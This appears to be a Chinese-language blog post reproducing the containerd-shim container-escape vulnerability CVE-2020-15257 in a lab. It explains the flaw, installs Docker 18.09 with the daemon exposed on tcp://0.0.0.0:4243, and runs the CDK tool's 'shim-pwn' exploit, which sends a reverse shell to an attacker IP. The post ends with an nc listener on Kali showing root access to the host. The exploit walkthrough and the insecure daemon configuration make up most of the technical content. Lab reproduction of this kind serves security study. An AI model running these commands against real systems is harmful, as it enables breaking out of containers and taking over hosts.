Docker 逃逸 漏洞复现

首先来解释一下docker逃逸是什么意思,按我的理解就是由于一些docker运行规则中有漏洞还有一些错误配置导致的docker逃逸到真实的物理机,获得物理机权限,实现反弹shell进而控制物理机。

本文参考网址:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities

以及周老师分享的文档。

CVE-2020-15257-host模式容器逃逸漏洞分析

docker 的内部通信图:

OCI(开放容器计划)

docker执行拆卸计划时、OCI着手定义容器相关的两个规范:1、镜像规范;2、容器运行时规范。2017年7月1日发布了0.1版本。

受OCI的影响:

  1. docker Daemon不包含容器运行时代码,所有容器运行时代码在单独的OCI兼容层实现,默认情况下就是RUNC

  1. Docker引擎中的Containerd的作用时,保证传给RUNC的镜像是以OCI Bunddle格式。

我的理解:他就是一个规范数据格式的协议和fastcgi差不多

漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

漏洞成因:

docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字:

复现前提:

host环境

root@docker-virtual-machine:~# uname -a
Linux docker-virtual-machine 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
root@docker-virtual-machine:~# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.6 LTS
Release:        18.04
Codename:       bionic
root@docker-virtual-machine:~# 

安装 18.09 版本的docker:

参考链接:https://bbs.huaweicloud.com/forum/thread-59673-1-1.html

wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
tar -zxvf docker-18.09.0.tgz 
cp -p docker/* /usr/bin/

配置docker.service文件 :

cat >/lib/systemd/system/docker.service <<EOF

[Unit] 
Description=Docker Application Container Engine 
Documentation=http://docs.docker.com 
After=network.target docker.socket 
[Service] 
Type=notify 
EnvironmentFile=-/run/flannel/docker 
WorkingDirectory=/usr/local/bin 
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
ExecReload=/bin/kill -s HUP $MAINPID 
# Having non-zero Limit*s causes performance problems due to accounting overhead 
# in the kernel. We recommend using cgroups to do container-local accounting. 
LimitNOFILE=infinity 
LimitNPROC=infinity 
LimitCORE=infinity 
# Uncomment TasksMax if your systemd version supports it. 
# Only systemd 226 and above support this version. 
#TasksMax=infinity 
TimeoutStartSec=0 
# set delegate yes so that systemd does not reset the cgroups of docker containers 
Delegate=yes 
# kill only the docker process, not all processes in the cgroup 
KillMode=process 
Restart=on-failure 
[Install] 
WantedBy=multi-user.target 
EOF

启动并设置为开机自启

root@docker-virtual-machine:~# systemctl start docker
root@docker-virtual-machine:~# systemctl enable docker

安装ubuntu docker 镜像

root@docker-virtual-machine:/etc/apt# docker pull ubuntu:18.04

以host模式运行docker

root@docker-virtual-machine:/etc/apt# docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              18.04               3941d3b032a8        2 weeks ago         63.1MB
root@docker-virtual-machine:/etc/apt# docker run -it --rm --network=host 3941d3b032a8

--rm 退出容器时删除

下载github上的Exp

下载地址:Release 0.1.6 · cdk-team/CDK · GitHub

解压后我们此实验只需使用cdk_linux_amd64文件,此文件可以将使用有漏洞的docker的主机的权限反射到攻击者的主机上。

将cdk_linux_amd64文件拷贝到docker中的Ubuntu系统中

解压
root@docker-virtual-machine:~# tar -zxvf cdk_v0.1.6_release.tar.gz 
拷贝到docker中
root@docker-virtual-machine:~# docker cp cdk_linux_amd64* 0ac6790c092d:/

运行一下代码

root@docker-virtual-machine:/# ./cdk_linux_amd64 run shim-pwn 192.168.242.140 1337

这里的地址是攻击者的地址

验证一下

┌──(root💀kali)-[~]
└─# nc -lvvp 1337
listening on [any] 1337 ...

<b576f72c486a7bec0f69ae27f85297200068bb/merged/tmp# 

<b576f72c486a7bec0f69ae27f85297200068bb/merged/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
<b576f72c486a7bec0f69ae27f85297200068bb/merged/tmp# 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值